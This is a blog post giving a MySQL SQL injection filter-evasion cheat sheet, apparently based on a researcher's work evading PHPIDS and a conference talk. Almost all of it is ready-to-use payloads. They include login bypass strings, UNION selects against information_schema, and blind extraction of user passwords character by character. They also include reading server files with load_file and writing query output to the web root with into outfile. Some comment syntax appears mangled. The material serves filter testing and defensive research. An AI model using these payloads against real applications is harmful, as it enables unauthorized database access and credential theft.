

SQLi filter evasion cheat sheet (MySQL)

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Content

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This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 years of [PHPIDS](#) filter evasion at the CONFidence 2.0 conference. You can find the slides [here](#). For a quicker reference you can use the following cheatsheet. More detailed explanation can be found in the slides or in the talk (video should come online in a few weeks).

Basic filter

Comments ' or 1=1# ' or 1=1- - ' or 1=1/* (MySQL < 5.1) ' or 1=1;%00 ' or 1=1 union select 1,2 as ` ' or#newline 1='1 ' or- -newline 1='1 ' //50000or/1='1 ' //or/1='1

Prefixes

- - ~ !

' or -+2=- -!!!'2

Operators ^, =, !=, %, /, *, &, &&, |, ||, , , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL

Whitespaces %20 %09 %0a %0b %0c %0d %a0 // 'or+(1)sounds//like"1"-%a0-

'union(select(1),tabe_name,(3)from information_schema . tables)#

Strings with quotes SELECT 'a' SELECT "a" SELECT n'a' SELECT b'1100001' SELECT _binary'1100001' SELECT x'61'

Strings without quotes 'abc' = 0x616263

Aliases select pass as alias from users select pass alias alias from users select pass alias alias from users

Typcasting ' or true = '1 # or 1=1 ' or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1 ' or '1 # or true

Compare operator typecasting select * from users where 'a'='b'='c' select * from users where ('a'='b')='c' select * from users where (false)='c' select * from users where (0)='c' select * from users where (0)=0 select * from users where true select * from users

Authentication bypass '=' select * from users where name = "" select * from users where false = " select * from users where 0 = 0 select * from users where true select * from users

Authentication bypass '-' select * from users where name = "-" select * from users where name = 0-0 select * from users where 0 = 0 select * from users where true select * from users

Function filter

General function filtering ascii(97) load_file(foo/(0x616263))

Strings with functions 'abc' = unhex(616263) 'abc' = char(97,98,99) hex('a') = 61 ascii('a') = 97 ord('a') = 97 'ABC' = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))

Strings extracted from gadgets collation(\N) // binary collation(user()) // utf8_general_ci @@time_format // %H:%i:%s @@binlog_format // MIXED @@version_comment // MySQL Community Server (GPL) dayname(from_days(401)) // Monday dayname(from_days(403)) // Wednesday monthname(from_days(690)) // November monthname(from_unixtime(1)) // January collation(convert((1)using/**/koi8r)) // koi8r_general_ci (select(collation_name)from(information_schema.collations)where(id)=2) // latin2_czech_cs

Special characters extracted from gadgets aes_encrypt(1,12) // 4çh±{"^c×HéÉEa des_encrypt(1,2) // ,GÒ/iÖk @@ft_boolean_syntax // + ->(<)~*:"" &| @@date_format // %Y-%m-%d @@innodb_log_group_home_dir // .\

Integer representations false: 0 true: 1 true+true: 2 floor(pi()): 3 ceil(pi()): 4 floor(version()): 5 ceil(version()): 6 ceil(pi()+pi()): 7 floor(version()+pi()): 8 floor(pi()*pi()): 9 ceil(pi()*pi()): 10 concat(true,true): 11 ceil(pi()*pi()+true): 11 ceil(pi()+pi()+version()): 12 floor(pi()*pi()+pi()): 13 ceil(pi()*pi()+pi()): 14 ceil(pi()*pi()+version()): 15 floor(pi()*version()): 16 ceil(pi()*version()): 17 ceil(pi()*version()+true): 18 floor((pi()+pi())*pi()): 19 ceil((pi()+pi())*pi()): 20 ceil(ceil(pi())*version()): 21 concat(true+true,true): 21 ceil(pi()*ceil(pi()+pi())): 22 ceil((pi()+ceil(pi()))*pi()): 23 ceil(pi()*ceil(version())): 24 floor(pi()(version()+pi())): 25 floor(version()*version()): 26 ceil(version()*version()): 27 ceil(pi()*pi()*pi()-pi()): 28 floor(pi()*pi()*floor(pi())): 29 ceil(pi()*pi()*floor(pi())): 30 concat(floor(pi()),false): 30 floor(pi()*pi()*pi()): 31 ceil(pi()*pi()*pi()): 32 ceil(pi()*pi()*pi()+true): 33 ceil(pow(pi(),pi()-pi())): 34 ceil(pi()*pi()*pi()+pi()): 35 floor(pow(pi(),pi())): 36

@@new: 0 @@log_bin: 1

!pi(): 0 !!pi(): 1 true~true: 3 log(-cos(pi())): 0 -cos(pi()): 1 coercibility(user()): 3 coercibility(now()): 4 minute(now()) hour(now()) day(now()) week(now()) month(now()) year(now()) quarter(now()) year(@@timestamp) crc32(true)

Extract substrings substr('abc',1,1) = 'a' substr('abc' from 1 for 1) = 'a' substring('abc',1,1) = 'a' substring('abc' from 1 for 1) = 'a' mid('abc',1,1) = 'a' mid('abc' from 1 for 1) = 'a' lpad('abc',1,space(1)) = 'a' rpad('abc',1,space(1)) = 'a' left('abc',1) = 'a' reverse(right(reverse('abc'),1)) = 'a' insert(insert('abc',1,0,space(0)),2,222,space(0)) = 'a' space(0) = trim(version())from(version()))

Search substrings locate('a','abc') position('a','abc') position('a' IN 'abc') instr('abc','a') substring_index('ab','b',1)

Cut substrings length(trim(leading 'a' FROM 'abc')) length(replace('abc', 'a', ''))

Compare strings strcmp('a','a') mod('a','a') find_in_set('a','a') field('a','a') count(concat('a','a'))

String length length() bit_length() char_length() octet_length() bit_count()

String case ucase lcase lower upper password('a') != password('A') old_password('a') != old_password('A') md5('a') != md5('A') sha('a') != sha('A') aes_encrypt('a') != aes_encrypt('A') des_encrypt('a') != des_encrypt('A')

Keyword filter

Connected keyword filtering (0)union(select(table_name),column_name,...
0//union//!50000select/table_name foo //... 0%a0union%a0select%09group_concat(table_name)....
0'union all select all table_name foo from information_schema . tables

OR, AND ' | 1='1 '&&1='1 '=' '-'

OR, AND, UNION ' and (select pass from users limit 1)='secret

OR, AND, UNION, LIMIT ' and (select pass from users where id =1)='a

OR, AND, UNION, LIMIT, WHERE ' and (select pass from users group by id having id = 1)='a

OR, AND, UNION, LIMIT, WHERE, GROUP ' and length((select pass from users having substr(pass,1,1)='a'))

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING ' and (select substr(group_concat(pass),1,1) from users)='a ' and substr((select max(pass) from users),1,1)='a ' and substr((select max(replace(pass,'lastpw','')) from users),1,1)='a

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT ' and substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)='a '=' into outfile '/var/www/dump.txt

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE ' procedure analyse()# '- if(name='Admin',1,0)# '-if(if(name='Admin',1,0),if(substr(pass,1,1)='a',1,0),0)#

Control flow case 'a' when 'a' then 1 [else 0] end case when 'a'='a' then 1 [else 0] end if('a'='a',1,0) ifnull(nullif('a','a'),1)

If you have any other useful tricks I forgot to list here please leave a comment.

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